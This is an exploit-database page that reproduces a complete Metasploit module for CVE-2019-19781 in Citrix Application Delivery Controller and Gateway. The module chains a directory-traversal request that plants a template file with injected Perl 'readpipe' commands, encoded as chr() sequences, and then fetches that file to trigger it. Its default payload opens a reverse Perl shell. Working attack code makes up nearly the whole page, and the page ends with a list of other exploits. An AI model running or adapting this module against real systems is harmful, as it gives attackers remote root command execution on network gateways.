Search for hundreds of thousands of exploits

"Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution (Metasploit)"

Author

Exploit author

mekhalleh

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-01-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Citrix ADC Remote Code Execution',
      'Description' => %q(
        An issue was discovered in Citrix Application Delivery Controller (ADC)
        and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
      ),
      'Author' => [
        'RAMELLA Sébastien' # https://www.pirates.re/
      ],
      'References' => [
        ['CVE', '2019-19781'],
        ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
        ['EDB', '47901'],
        ['EDB', '47902']
      ],
      'DisclosureDate' => '2019-12-17',
      'License' => MSF_LICENSE,
      'Platform' => ['unix'],
      'Arch' => ARCH_CMD,
      'Privileged' => true,
      'Payload' => {
        'Compat' => {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic perl meterpreter'
        }
      },
      'Targets' => [
        ['Unix (remote shell)',
          'Type' => :cmd_shell,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_perl',
            'DisablePayloadHandler' => 'false'
          }
        ],
        ['Unix (command-line)',
          'Type' => :cmd_generic,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/generic',
            'DisablePayloadHandler' => 'true'
          }
        ],
      ],
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL'   => true
      },
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptAddress.new('RHOST', [true, 'The target address'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])

    deregister_options('RHOSTS')
  end

  def execute_command(command, opts = {})
    filename = Rex::Text.rand_text_alpha(16)
    nonce = Rex::Text.rand_text_alpha(6)

    request  = {
      'method' => 'POST',
      'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
      'headers' => {
        'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
        'NSC_NONCE' => nonce
      },
      'vars_post' => {
        'url' => 'http://127.0.0.1',
        'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
        'desc' => 'desc',
        'UI_inuse' => 'RfWeb'
      },
      'encode_params' => false
    }

    begin
      received = send_request_cgi(request)
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
      print_error('Unable to connect on the remote target.')
    end
    return false unless received

    if received.code == 200
      vprint_status("#{received.get_html_document.text}")
      sleep 2

      request = {
        'method' => 'GET',
        'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
        'headers' => {
          'NSC_USER' => nonce,
          'NSC_NONCE' => nonce
        }
      }

      ## Trigger to gain exploitation.
      begin
        send_request_cgi(request)
        received = send_request_cgi(request)
      rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
        print_error('Unable to connect on the remote target.')
      end
      return false unless received
      return received
    end

    return false
  end

  def get_chr_payload(command)
    chr_payload = command
    i = chr_payload.length

    output = ""
    chr_payload.each_char do | c |
      i = i - 1
      output << "chr(" << c.ord.to_s << ")"
      if i != 0
        output << " . "
      end
    end

    return output
  end

  def check
    begin
      received = send_request_cgi(
        "method" => "GET",
        "uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
      )
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
      print_error('Unable to connect on the remote target.')
    end

    if received && received.code != 200
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless check.eql? Exploit::CheckCode::Vulnerable
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
      end
    else
        print_good('The target appears to be vulnerable.')
    end

    case target['Type']
    when :cmd_generic
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      received = execute_command(payload.encoded)
      if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
        print_warning('Dumping command output in parsed http response')
        print_good("#{received.get_html_document.text}")
      else
        print_warning('Empty response, no command output')
        return
      end

    when :cmd_shell
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      execute_command(payload.encoded)
    end
  end

end
Release DateTitleTypePlatformAuthor
2020-07-07"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation"webappsmultiple"William Summerhill"
2020-07-06"RSA IG&L Aveksa 7.1.1 - Remote Code Execution"webappsmultiple"Jakub Palaczynski"
2020-07-02"OCS Inventory NG 2.7 - Remote Code Execution"webappsmultipleAskar
2020-06-24"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting"webappsmultiple"William Summerhill"
2020-06-22"WebPort 1.19.1 - Reflected Cross-Site Scripting"webappsmultiple"Emre ÖVÜNÇ"
2020-06-22"FileRun 2019.05.21 - Reflected Cross-Site Scripting"webappsmultiple"Emre ÖVÜNÇ"
2020-06-22"Odoo 12.0 - Local File Inclusion"webappsmultiple"Emre ÖVÜNÇ"
2020-06-17"OpenCTI 3.3.1 - Directory Traversal"webappsmultiple"Raif Berkay Dincel"
2020-06-15"SOS JobScheduler 1.13.3 - Stored Password Decryption"remotemultiple"Sander Ubink"
2020-06-12"SmarterMail 16 - Arbitrary File Upload"webappsmultiplevvhack.org
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47913/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.